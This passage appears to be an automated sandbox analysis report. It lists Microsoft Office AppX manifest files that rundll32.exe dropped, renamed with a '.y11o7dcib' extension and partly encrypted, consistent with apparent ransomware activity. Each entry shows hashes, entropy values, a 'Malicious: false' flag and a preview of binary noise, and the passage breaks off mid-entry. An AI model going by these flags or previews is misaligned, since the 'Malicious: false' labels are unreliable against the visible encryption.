SHA1:	5E32B9B72A92669D33610F69A2D1040E4F2CC56B
SHA-256:	03DFF34DDFB02B6C8CE5AE1C30245527E101406ECF9273F3AAB69393A3A63CF8
SHA-512:	DD26F115608A8D57C82DC2FC9AA0A72C9C200677B41A5AE822BC2AD96FCE442FAABDF2BDABB0EE2AA1D7C901E764F54C0689DEDA5E06266D1BA1BB64DD566A40
Malicious:	false
Preview:	}d.aF.A..#.20rb...a.6..L.~G....z.T.x,.1...,.._.2[.9+&.t.$.Yk....Ti.E..b00- 2....j.L.k....r.N.ja[/D..6...J.y..jd;.a...Xb...\..P.1cdn2}...J./..D.qL....z...q(.7......D.oG.p)$.q....g....AW.....3\|8?sy....#..R.'C...$...q(.7......D.oG.p)$.q....g....AW.....0\|8?sy....#..R.'C...$...q(.7......D.oG.p)$.q....g....AW.....7\|8?sy....V....TF...~...x1.z......L.>I.l(:.q....&....TT.V..!s.;oc.....m....+...:...;\|.7@..\..H.y .$ho.3.]..4...w......3cen0 ..........?....0.G.j5.)y......J.)\.4,c.5.Y..0....T.....`148{#.....Q....oM...c.Q..VYg...H..E.e'.t/h.k...Dk....WA.E..6oz.tc..a.6..1.=.......N.j4.5t..\|..g.q..K/%.p....+....XT.R..p#9?d^...".{....YG...z.K.wb+"C..z....y..k#&.k...:......k.O..f 0,ku....J.g.S.r...*...i,.}q..Z..B.{..\|95.k...Xj..UB.R..w::0=u...J.g.L.k....Z.A.x;..U..~..@.rW..jv."...Gr....gn.R..F+!`ib...N.+..}.mt...e.g.mbtM...#..Y.n..\|9h...M.ea....RB..-..#subOu..L.{..R.hC...o...j~Yh...,...{.o..k)3.<.g..8....TV.S..f kS.0...`....j.oQ...<...6.

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-001F-040C-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2658
Entropy (8bit):	7.76971905954706
Encrypted:	false
SSDEEP:	48:I/+md8dEwpSMh+4ROnDdzTy0X55ScRwupYWJ36Qj9B7ge2cGflrS:BCw3+kopBJ5ScRwuHJ3pTgey5S
MD5:	B853335F9103EBF1CEC8069976AB4E7E
SHA1:	A0A37E237A113AE165B2CBB51351C4D20184099E
SHA-256:	6AD8290476CF143A8C5A175B1D88E6CCA481A1ED7D7C42AA71039A667DD8DCA9
SHA-512:	5CE97D53AFBFDBB250727FD7DA532166F1089108DA1CA2D539DD69014A6809A4C5E7C5F94CFFECF63406E2739F10B2CFB42A5C3AAEF4E388949A742B2867DB71
Malicious:	false
Preview:	4.......S#...q@/.@..!..:.s3.4..T..r.6l5z...2$..#...E.MF.r....QG..-..W7..,s]}.@8...nO.(.fg.;.\..`.drp ..Jm'..h.....TSQT.....F..L..B<A..'.o.@&..3..i.\|8.3..T...{.2j>{.X.1..~..G.RCL].P..].......t_.`{O..G-...`..%..7.y......{.2j>{.X.1..~..G.RCL].P..].......t_.`{O..G-...`..%..7.y......{.2j>{.X.1..~..G.RCL].P..].......t_.`{O..G-...~s.i..Y2.g..P..r.#'&..X.0"../..F.TCK^.C.~......D!..o@K2.H'...qH.y..&n.>.....1.'jt".{.!?..h..........N......N...C..&.m..xM..p8.x.2v.y....`.)tM0..\q7..<......U...O......N..S&..\| .#..j]..Mt.i..b9.l..M....f:$t.o.1$..t...A.pY@I....D......Wd_.s9j).Q$..!..w..0v.)..Q..`.#h@=.[.#- .`..A.XBU^.B..EG.....@...?zO9.@%...J^.i..T3.j..T..}...w1.].&hA.h...M.IYLU.s....../..]z<.<s\6.Ef..'B.....h......c.0 E$.}5#7..j...W.OYSO....~J.....@-..&y@`.O<..$B.(.fl.y..t..r.#^a'.Y.2 ..c........Z....qU..*..@+..7b.4.T-A..0..s.`..g..K..g.K.$t..50;......W.0:...,.._P.....?NN.o6...R'..%^.(..e7.l..A..`.f5:Y..E~{<.~...G.N..1.^.B@.....A-..<(#J..h]...3.'.b%.f......<.

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-001F-0C0A-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	2658
Entropy (8bit):	7.768705994095231
Encrypted:	false
SSDEEP:	48:ZLi6PcxMHNX/9L29I8CBgy9ekn1GnTo2enQ6iJ1Gn/9djOgozoFtMgUS:bPcxMHV/9L29TVyIkYT9eQ6j//OgokFv
MD5:	7E6AA2E91509EA1DD181E109DBA424D5
SHA1:	EADA569D6C02C0D241D07FBCDBB1F4D80F40ED5A
SHA-256:	7F57649330FFB32AE0A32BAEB1B31121F2A38798203D7E81B955A115872E2A23
SHA-512:	7A633E7A04EEE544BE0BA8CA6850C197A4643EF1AE85A8D54467328619EA78C36FEB015023F781ED015192DCA251D7C80D1D72C1378527654AC0AAF7963AE375
Malicious:	false
Preview:	......j.x#.R....3.B}h...A..c-L...z? .\|1....$.4.....r6...0m.BO.. ....~.9..O.M.. ..!-......clD...hrr.9kF.].'.m.....o/...$l.D...(....u.jZ_.....0.Pd/....J.. <L..s;$.w0....1.d....p)...#-._CM.5...=.hE.]...."..h`...E..7}...s;$.w0....1.d....p)...#-._CM.5...=.kE.]...."..h`...E..7}...s;$.w0....1.d....p)...#-._CM.5...=.lE.]....".......@..5%H...z"5.oMS...".a.....n/...%>.s`_. ...h.zJ8Y....k..&#.......o~...9o1.=i....?.b.....;v..g3...R.....L.hZ^.._..^f..VK.......1:....h&?..{..J.6.7....3q...g4...[. ...:.:]YZ.^..Ny...-....K..38U....Ep.m?....$.d.....<....8p.VZB.#...-.mVAx..../.B}h.......}.I...h'5..vE...-.d....q#...3?.`[..,...I.+..].!..h.)0-...A..3%L...uq..>zD...h.A.....r2...i....B.y....3.=..N.....&.D,".....al....k?&..oF.".7.d.....a4...>l..`..!...d.,..R....$.G,"......1.l...z(5.(lU... .j...."f...'s..o.....b........Ry.S`{....r...>S...oq].m?..".;.`.....<K..kQ.CA..&.....xJN.....$.F0A...E..\|nY...hmp.s.<.R.{.`.....g5..w#.`\.. ...d.=.P1.O..Nj.p]d...W../r...4.

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-002A-0000-1000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	25194
Entropy (8bit):	6.517143826345098
Encrypted:	false
SSDEEP:	768:q0NL959a03o0ujI9Nqo0QT9pj9C0zQ9P9e0Z04T9ox0EQ0uP9B640at9dD9G0FGQ:rO9l
MD5:	B3DA91E06AB667D7849CE76A30E786AE
SHA1:	B56B63A2D0F540302628A6EF12038A87ACCA0DB7
SHA-256:	4502294D4B59D80C4C70C9766FB1219B5E994088407230B4034E95A9BDEF553C
SHA-512:	9CAE73CB08BC24062289BC080B93E006E8E9B8AAB0EF1B8B06C0CF7F77B06B447615BD76F5EFBCC99FD22D88359F5C4A9599FAB105E7C7F15FB67A279191669A
Malicious:	false
Preview:	u....z.f.S..W..ZY}.....a........w.`w%..eg<..f.,E..........8p..rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c..0..k."....1..[Bz...k.t.......#.>6n..ac:..x..].d...G.....m_...om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".."..h...Q..>..GXu...k.:.H..@..{. 6`..5v:..m.,V.h...N.J..4....-002A-0000-1000-0000000FF1CE" appv:VersionId="96bd2d2a-8249-4262-aa7f-c35690038b79" />.. <Properties>.. <DisplayName>Microso..?..}.n...."..\Xl.....a.F..X..i.ee?..}r8..$.!T.G.........t\...PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription..p..~.n.].Kw...Nr...,.0.....B.%.@f0..rr...4.$E.`...'.S.>X..:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <..z..j.d.].Zm..?.<.M...A.......;.&)a..Z

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-002A-0409-1000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	OpenPGP Public Key
Category:	dropped
Size (bytes):	1772
Entropy (8bit):	7.711057925451871
Encrypted:	false
SSDEEP:	48:0NPOAdw7da+QXz8ZDrySFznklVNAQhxUoBgL68BS:0AADKDryqYblyoBoS
MD5:	F5195A92BF6AAF35DA488EB23BA93D7E
SHA1:	3AA03174CA22E8FF0E844996FB4E4A9351DC71BD
SHA-256:	FFF6C9EE3496C8D3B0E4C0FEAC7C7D7C57B6498AB6E9F8F0D84F9BA74EA8229C
SHA-512:	186D35360B0E1DC6709DB6A79526785AD99554BC55545E109358C26A53B92326155D676539FCEA101853D959DD5E7BA00D11C4414B8956CA67A722A71EC2E560
Malicious:	false
Preview:	.d...G.=<......e.....^.e;...\..Om.p.A....!;.0.t...0.5.....k..[.(."h.9(.....e......Ww;..C....Gp.>..]..`!.o.a..]sNz........].)...,#.....e.....GU63...\...OkGr.E....?h.(.o....T7.....xU.F.e.7V..nk......b.....K.z%.._...,Gr.E....?h.(.o....T7.....xU.F.e.7V..nk......b.....K.z%.._.../Gr.E....?h.(.o....T7.....xU.F.e.7V..nk......b.....>}6k...J..KdZ..\...uh.2.g...BH6.....~F.j.w."U.>.......m......Y&e..J.....,I`W....*K.#.c..yv.vRX..<K...z.....lb......4.K...u1'..RN...K.".X....-9.p.;..Qp.6.Z..8H...}.#..??.......4.[...9W6w..._..Vx.nx;_..,_.3.n..~sP1U%...c..O.j.!@.9{.......t.....^.(F..R...J..9.Y....ck.!.L..U,o1.....hG.y.(..U........e......W6k...\..Oi.?..-..bm.$.-..CqO=.....2v...j.{j.3e.....`......XZ$..L"....=F1.A....`M.!.i..UVX'.....e....%.#C..2.....j......Xw;..Hn..o\|.;.V...si.0.k....7tKH...\|....:..o..4......q.G.C.,...$f..P~?(..r..,4.2.r..D{X'Ue..0).Z.?.$C..QQ......w......;w%...H...ZsW%.._...;.\|.P.._gO7.....,[.y./."W./2.....$.[...~.x....F...3HlZ~

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-006E-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	7694
Entropy (8bit):	6.642718618495016
Encrypted:	false
SSDEEP:	192:1AWFA0/5iOrsj0439s0Ic9Ybm9wccFT535dAgyeUu48hRXnAPS:1AH0/+j0439s0Ic9Ybm9wckT535dAr2P
MD5:	2481A9A25F732BD4CEC081ECEED6B278
SHA1:	09E7B3A59142F852101579296BB9B7DA1A274A04
SHA-256:	286D066B23A3D6708BBDBC32D6D7D91B770F4810C9F070ADBC3F5C79C46C2C8D
SHA-512:	48123D1394F4AFDCD64C0E0AD3B0519E64CEFF2D3708410F567E5C6959FA1156722109C563E4C6B5F53DD2CA8E4A714CFEE259BD7045C3C37AE13ECEE43E16C7
Malicious:	false
Preview:	.&lj;Q..}...sV"..3.N..3... ..\......sW...mw.}..'.z}..>.,B.1.}.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c+..7.@.Q.....\-..4.Q.r...>..._..LA..zS...li....<.'a..<.3G...=.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher=".....C..j....g)..;.L..c..~.._...RA.0....5\|.}..0.1...}.l..H@#R-006E-0409-0000-0000000FF1CE" appv:VersionId="4dd1ff28-baad-4537-b9f4-c4b6c60b9470" />.. <Properties>.. <DisplayName>Microso"....V..y........".C..3..]..G.......aO...5.p....9..:.9F.../MPublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescriptionz.v.U..n..S^"..<.G..6.. .]n...2...s@...0%.u..8.:q....\|....c.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <..$.A..o..I.A..r...........F..T^.=h

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-0090-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	367674
Entropy (8bit):	6.285274191439125
Encrypted:	false
SSDEEP:	1536:NG4QZ+Z08OSIty6dJiBYz2sTjXQ532A0WhOvaMkLz/IvfuwTDCpMKXMjwv3mxlYB:gUKy6dgGgUAdiUzgbuIjUbB
MD5:	B0D704F30A34BE6505DA6733C955FE2E
SHA1:	79BC6DF4C8975DAE7841032B9E5453E2CED7483B
SHA-256:	13A1ED3C9D6D524522C6B10ED97C35D0EE6EDFC07EFF4F6B7DA667595B913DAB
SHA-512:	4F116A724F93201D4B85F31F0703F6AD5DB9AA18027494A4BCB1FFF03042A372D8A1ABDCB93B71C6F29AE71BEB926F917B69EC0BF3AB7DC5B5AACE844297B282
Malicious:	false
Preview:	.0tn)..TF..FcSB.......Z.../.a.....A"_....../~R.\|.8a..n.....(.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c...3.......V.YM......t...11.8........ V......-fG.,.$...l...;.h.om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="2......MQ..D.bI.....@t.CVmqM4.M.....2......./mI.*.C'.P'.T.mYv.-0090-0000-0000-0000000FF1CE" appv:VersionId="d1b568d4-9625-4685-8257-c784fd1d6731" />.. <Properties>.. <DisplayName>Microso.......\B..S..h.......Z..cRv"._.....[kM......"o[.,.o}..m...8.z.PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescriptionO.r...\U...C[B......3_IW</.t.>...Ti_....'~V.".4N.R>.E.<.6.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <!.. ...VT...Y.!..EQ.A.h8.3..p........>..

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-0090-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.6842861481964135
Encrypted:	false
SSDEEP:	48:x2VeY7gI79+Gjv6JptHxRiYhmK5ZyvPtcF4S:vY7gI7jjAC5KKvg4S
MD5:	D8AF7D4661C3AACCA137CFA849AD7482
SHA1:	AB6E03F99D4C09738C0E87403469FDD788E34128
SHA-256:	814D0E13BD145E9580517A029C45E38D06897D1B22F11EC9BEDC7DB1504F738D
SHA-512:	FFFB7F6878F489034136DA816BBDA06B4A29A56A7712932889B262EB00554E70F6E0C8182605C6D6CBC02B7E1FA8A68B2210AF5D81D673456DD4244C37709DBF
Malicious:	false
Preview:	...y[..E.ld...R.....H..j.j......I....u..:t>.c.d.iX..,....7..-...)n..C.xq.........7.V/.j..GA........8......-.g.0..D......,...f..^.s.........c..-.b.....KX....q..1u .a.q.9..He....b..m..X${....;0...S.....$..b.t.....\..F..q..1u .a.q.9..He....b..m..X${....;0...S.....$..b.t.....\..E..q..1u .a.q.9..He....b..m..X${....;0...S.....$.j..:....^A...h._).j.g.b.<T.uy....e..~...J.n..\.ne...O.....$.Q!.4..N]....F...%..{,5.c...?..A1....;..s..G\|;....2,....OE..6.!I.Y..V..Z^.!...l..B>2.d.%Fl..D!.... .q...@!;....=6..\..W..8.m/.&.....X\.......B+z3.k.d.9..Da....n..0..W.m..M.+0...T.....H..j....VO..x.....m..O3\|.n.m09...^....{.......)b..K.Oh...D.......G/.:....XA.....;..x?}.g.(Q...F~....b..N..We7..I.5S...K..[..c.[ .u..Hb....W...u.XJ..R.w.9..ai....}..,....eo..M.bq.........c.[ .j..L..Z~.....b.&n)l.k.`.7..(.....1..3....5]..~.db...I.....g..y.[.. &.zZ.....;.h+z3.R.{.=..Li....-......7h.....!...o.....e.GC.t..........'.M5W..".;,=..P~.......c....7n..G.bu...7._U..I.*f.L.....D..Y...J

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-00A1-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	60747
Entropy (8bit):	6.538420289216316
Encrypted:	false
SSDEEP:	768:D0u0i9X9L0OJ0vg98+d01o6sNeag6urtyZ0Cp0cT9UJ7074Y9PbMHgP56+QbrrPa:346rQS+ygha/RVyZx5MCY
MD5:	E696274C23F1FC84BFE76A51C6F8E777
SHA1:	FF58CDFF6702B8D77FDF1B5AADE81B941903850D
SHA-256:	4D2384B5E153F0DD29096661ACF58F294FEB07C9F4F6B56CCAB21B19BB821665
SHA-512:	3694B8DB47040ABD1A6370C045F8690492B57E4DF9E9A231ECE5E7EA46D285BA58BDCC3DA3A4DE3C424BF47BC86CBA356C984281FB93DF12FC749F1914A54CEF
Malicious:	false
Preview:	..oQ=:..}..........3..z.c...8..+........@....;[.A.K..V">..W.rableNamespaces="appv1.1 appv1.2" xmlns="http://schemas.microsoft.com/appx/2010/manifest" xmlns:appv="http://schemas.microsoft.c.....+.G.(.........,...o.\|...<.....oN.....K.....@......T=;....om/appv/2013/manifest" xmlns:appv1.2="http://schemas.microsoft.com/appv/2014/manifest">.. <Identity Name="Reserved" Publisher="S..?.(..j}..9.....1...!. .G.e..'..o@.A........ L..o....by.....-00A1-0000-0000-0000000FF1CE" appv:VersionId="e9040d30-9a34-4ba2-8045-d6e7cfef26cd" />.. <Properties>.. <DisplayName>Microsov..".=..y8..@.....>..z...\|.}..5.<......5.B..2c..CW..U7:.....PublisherDisplayName>.. <Description>Reserved</Description>.. <Logo>Reserved.jpeg</Logo>.. <appv:AppVPackageDescription..M.>..nq.....R...:..+.q...g..y.?.....-..R...?D...d...rh..I.:AppVInProcExt>true</appv:AppVInProcExt>.. </Properties>.. <Resources>.. <Resource Language="en-us" />.. </Resources>.. <@...*..oq...Q.x.U.....Z.~......g..pA.L.

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-00A1-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1702
Entropy (8bit):	7.675254960708038
Encrypted:	false
SSDEEP:	48:T7F8u3W3AFWubdP1Cxa37oF79LMcW8m2aKOLW3S:fFAAfdNMa7079L59aKWaS
MD5:	9A021AC8D44B49FA893AC8D631BF3A32
SHA1:	D19EAE32BEEF251CF1EA8650DE9CBC799DEF6734
SHA-256:	6D52D5934BE81541544C201AA7BD31629D155EE4E3C4CD48DC62551A144FC638
SHA-512:	EE044CE6832025DDE5A637A8753E179DB8C5E4503B285D5AA8115E98CD6647999D2BDD1441C3FEC16F4FD4C8AECF7E91B64075EEDECF6C07E3FB8265BB075D9A
Malicious:	false
Preview:	S.3-&.....M..11.....]V.uAc..y..G......{..ZV.......E....l;..J=.y.}.........ca........uPv..v.FO..O..e...LY..........ys..K4.6.~.....B_...q......D..}Ml..~<.G.....}..D............in...1.u.p....Q.\]...0.....H^.kS:..4+W.[....}..D............in...1.u.p....Q.\^...0.....H^.kS:..4+W.X....}..D............in...1.u.p....Q.\Y...0.....=9.%.I..).C..o..0...........7....ii...p.V.C......O...,0.......+.6..ssT.[.....}..Q&..........H+7.J.b.(.PG..S.@]...ssI...vu.Fe".4-..<.S..c..VTD......S..../,...d. .r......\....:tK...:..9pr..!/.^......-..W2..........5sb..W=.l.^.....\X...70.....]V..* ..da6B..H.............Y....hw...}.m.}..........'.........%.D..'/.G..N.h......].........sn.D)X.8.1J....?...(&........jGo..N}F.J.@...7... &.....#....sq..K<.V.1...........~&........uPv..4-0g..J..I..........j..X:=..T$.Y.a .....(...1......@E.DPp....X..Y.....WY&........u.!.Fv7.w.c....n.MM....&........kGu..!`DR..T.."..aVV.N........$..Z.n.j.c...........TcY....}Z.SEr..+3X.D....

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-00E1-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1891
Entropy (8bit):	7.720981090547238
Encrypted:	false
SSDEEP:	24:U5kiHyWFDO+y/yimVZrzCfsObUppQDcNLJsSml9K6ufLCb/xQOSvtrXWO1zPO4UY:AkUnDO+e3Wzc9QppEZ10mtSlzWOQ4UFS
MD5:	CC9E6B7012A1409A8FAAED5D6DA553DD
SHA1:	6BA341725D377BB17FDBF7A8F9018B08E711E6B5
SHA-256:	234F75BD002B20C062ADF0968B9B7CA88A1C1F7F06EE25F869EA6DBDE57F474D
SHA-512:	8237B9D41D9DE19405902DD3FE3C9DD1BEC8093166FAC4BA7F1060D49045DE3C112A7DD34E76C2960E7B5F84D4DBEF43F243C375119EDF69698DA6757FC3163C
Malicious:	false
Preview:	.hn........5.....{....l.....]t....P..#._..uDE.h..1.._.m.;.JQ.>.........7.I]..g..T.~....]5....B.P=..Q.;.F..#..b...J.K.:.L..=......}c.[...~....?......e....Y..%.^..w\P..5..x..Z.B.{.W].3.......b?.....d.....s.......$.B..Y..%.^..w\P..5..x..Z.B.{.W].3.......b?.....d.....s.......$.A..Y..%.^..w\P..5..x..Z.B.{.W].3.......b?.....d...h.?......\|....P..h.#D.qFC..d..d..Z.A.hK{~.........m......y...S./....Q'.B.....%....uW^..#..,.......eY............}b.YO.M'..#........c.%..B..;....%...v.<.......3X...d.......~7..H._7..o.?......a....<.Ru.Q..}GE..?..\|..@.V.&.^D.........q}.....v....!....CE....B..'..R.xUL..+..C..[.A.iFhE.>........=>..1..r..E.?......\|..._. 0..S.qP...#..c...@.J.Xc...r.......>7....S}..Y.S...._5.S..A..o..Q.DUV..!..t..@.P.:..~.r........$=.T...r..Y.~.....C....P.....B.}DA..(........E.%..q."........5&.....+.....%...../g...E.._.Q..DFZ..4..t...#.....K_. .......mr.&...b..E.~.....B7....B.Rz.\|+.4....5..c......uUhB. ........>l.~_.]7...(.q......+.]....

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-00E1-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1606
Entropy (8bit):	7.656251442455705
Encrypted:	false
SSDEEP:	48:5r3RPcalBlvg46v2y1JC+yz/gEDBiyDsqYt5S:xRPcalc1JC+g/7NLoHS
MD5:	86CF1229810104471F02D34729CB2B6E
SHA1:	6992B04BDEB093C3AA39C25461140BD1A65CD01C
SHA-256:	8DC8203F9B725D42787DF9EA8F0A41C7CF2EE53D07B23D7892F329FB798EFE6C
SHA-512:	E7A89643F5243B95997FE3E5CFAEED94F73ED4314924BCC55E43283B25DEC47B8AD2FD5BF3D5AC9D72702ED1FDE6550D2B259161F8F7168F11D62D3E7B0188BD
Malicious:	false
Preview:	....~..3.W...n..AW..T#.9O..k...r.J..9..c.p..o..G=...L+C..Ea...8.....x..&.}...>..]D...f.9^..6..z.P.t..&.1..0...v..B.6Z..cu...w.....e..y...Y.q..DT..Md.1C..k...r....=..h.nM.w...`..XN)\..jr...4...:.Sg.1...u..^F..A+.']Q.hP..,....=..h.nM.w...`..XN)\..jr...4...:.Sg.1...u..^F..A+.']Q.hP..,....=..h.nM.w...`..XN)\..jr...4...:.Sg.1...u..^F..4L.i.".}N..v...$..p.$M.m...1..DO7Z..it._......g..2.>...o..C....h.g.]...2....i.".{n.\|...v...b..<6.M.i...!.Z{...Y.,^W........kI.yP..8.Y. ...\|....@@ ....cR..84...`.....$.Sd.(...-[E....3f.u~..hE..k.O..C..r.}z.l...j.\He~..~i...-..v.Cg.".-.o..LK..T#.D$K.8...w.P.!...2N.~.;.~..cH(V..ib.R.,....p.'?.n...R..H....f.i./.kC..r.U.w.!.3H.{.Z2v.CD+G..b8.w.y.....r.]..m...y.IGB...i.&I...."...9....1h.~...t.T^8A..xo.......v..&.w...y..H@...i.9^..YP..R._...7."L.o...}..;.{..mv.........E..5.f.W.n......I0..^..QN..m.y.w..r.}..m...a.T^e>..,:...6....+.iv.>.U.y..X@.....'I...E..g...k..l.K..#.'.`..CN>@..&.A.+.....\|..".m.d.<NG....t/..K..qO..4.....

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-00E2-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	3326
Entropy (8bit):	7.803517872706584
Encrypted:	false
SSDEEP:	96:4hvUGnp3hKjLXlKzDTc0jP8FXkl4QhKwoUS:ivfpxKv1KzFjkFXk4izLS
MD5:	1A520DA25854250E1767A4121C5A3517
SHA1:	E1EFFCFE84D702F90EC52EC9B79E32CCF205F7FD
SHA-256:	C44DDFD1D94FB0C9511841B11D7CBBE37D914F2CC9C7A833D117F3AA628A068D
SHA-512:	5413085F66BECEBEFC3484EF8171FE4A006D894645ABEB9A6CBFA0D31D415033968F0D2B060445DDB9F28A703A58111A9F6349EC4790C19C3DCCD418CC35B9FE
Malicious:	false
Preview:	.....f..DT~.....j.....A).n.nN8]I.gG...h..S.0B9..u.z,.).S5D..+.J.I,.Q.T.7....v......A8.:..n.0@S.u.N..2...W3W`..6C51.<.u!E..d.I.(,..F.Pt....o......I%.e.-_8[..nC...i.Q.%Yi..:Yx..,.\|&...'.G.w;....D..%....u....._;.j..:.f...nC...i.Q.%Yi..:Yx..,.\|&...'.G.w;....G..%....u....._;.j..:.f...nC...i.Q.%Yi..:Yx..,.\|&...'.G.w;....@..%....u.......t.o..8F<T..gZ......W.6Ql...Ey0.,.. .U...t.t(.EV.7!....h.......y.3..b.x...$....0.S.+Uo..3.9e.n.b.G.z.c.}....D.Qt..R]6...r..+..<Yr{Z.u^..."..WA!.1..4.y:.h..kHA.+.../...C...v...O&.......d..>[!HL..=L..f.[.0Xi..6]~b.6.h=Y..>.i.a$...A.N.....g.....<B.+..p.=OS.u_.../..^.9zi..ib~/.-..6.X.?.J.t%.H.G.%....c.......t.n..>F8YV.h.>..#..W.\|.L..4Br,.6.tl'}.j...K"..s.D.6...Cl.....^/.5..l.h...vG...6..b.#_i...Uh?.6.n;E......b>.Q.^.*....c....A8.1..<y.L\.gP...5..[.4]g..Z:;\|...{"Z....V.N#..B1O.z....:.....p8.]...]'Nz.r.a..f..b./Dm..>Uhb.U.:nx..%.T.b>....T.Ax....s....._/.j..q.-C..u.L..K...Dofm.."Bx9.a..r.K.8.T.v8.U.D_I..BM&....g-.x..".~...)x

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-00E2-0409-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	1606
Entropy (8bit):	7.633654683142032
Encrypted:	false
SSDEEP:	24:FIaQCyr09rl+rXgAVRaoT0DhXUDm2p9HmbtdXC4/Qo16uaMl8Phv521UYaQpZS:FIrwrQrXzVAyasmzC4Qo1ZWxoXjpZS
MD5:	65801C3B8445CEE9B5C25EF11A2AFAD8
SHA1:	6AC3E3C95B738523F21C892A45075F379527E33E
SHA-256:	08EF2F90D78778D8AC0F7EB685E5BB6200FDFAFE5D89C251637D5F6DB58C4594
SHA-512:	61EA590E855A402BC7C925BDB64F833529500714ECC68FB2B2C755886D6815F9DD31C95BB1F590CBF29931AAEB489D8DD180DB7EFA37B2D55072F548C226212F
Malicious:	false
Preview:	...#......u..b....[...Y\6px.I.S..@A..R.....G ..M.\|.IwE..2.J.f........4......H.E..N6amZ..S...Z........B.#....?..j\...3.LIg.......Xg..<...X.....>\|w.I.....C..V......_5....3.KuZ...r.W.+....^T.Fe..m....J.K.QC(b!.JT.....C..V......_5....3.KuZ...r.W.+....^T.Ff..m....J.K.QC(b!.JT.....C..V......_5....3.KuZ...r.W.+....^T.Fa..m....J.U.6.f-R._J..../..G].....E&..A...Jk\...a.{)9........w..i......Z...h -S.._....Q..C.....T;....:..>....^l..W4.A.HEV.Ze..<.....[.z..T9K[T...S...M...T.`..U.m..6.....m.._1.J.K....d..=.....f...zAi.JA...E_..@.....D ....?.M9x.../.^.$.......F`..H....G...Y.K.;K..M.Z...G....V)....`.MtP...`.h.f........&.m......a...f-_.IG..._...p.....Sl....=.AwA..PQ..G$.O.....%0.~.....N....c)vtU7.Q.......TZ..=V3......[dG...3..)k........!.b...L....N6amQ{T..U...G$....G$....S..'.....,..&t.%..!.....2........J..ak=sJ!..s.../j...=E?....7.[98...R..K.q....Ok.Wu..0....L...pN(vn.]AL........O....M......+.KbF...N\|.h.a........0........8.UA.ti.SK.....]..

C:\Program Files (x86)\microsoft office\PackageManifests\AppXManifest.90160000-012A-0000-0000-0000000FF1CE.xml.y11o7dcib (copy)

Download File

Process:	C:\Windows\System32\rundll32.exe
File Type:	data
Category:	dropped
Size (bytes):	551871
Entropy (8bit):	6.353582694195896
Encrypted:	false
SSDEEP:	12288:ZmHwzwvkT9NcJ+DTRO+itJEmBkUAc3lue7Axdc3:T4j/
MD5:	79151B3605117A69CDBDBF027BA74003
SHA1:	9DAE21916697F7286CFA136DFBDFDC88DDFFF605
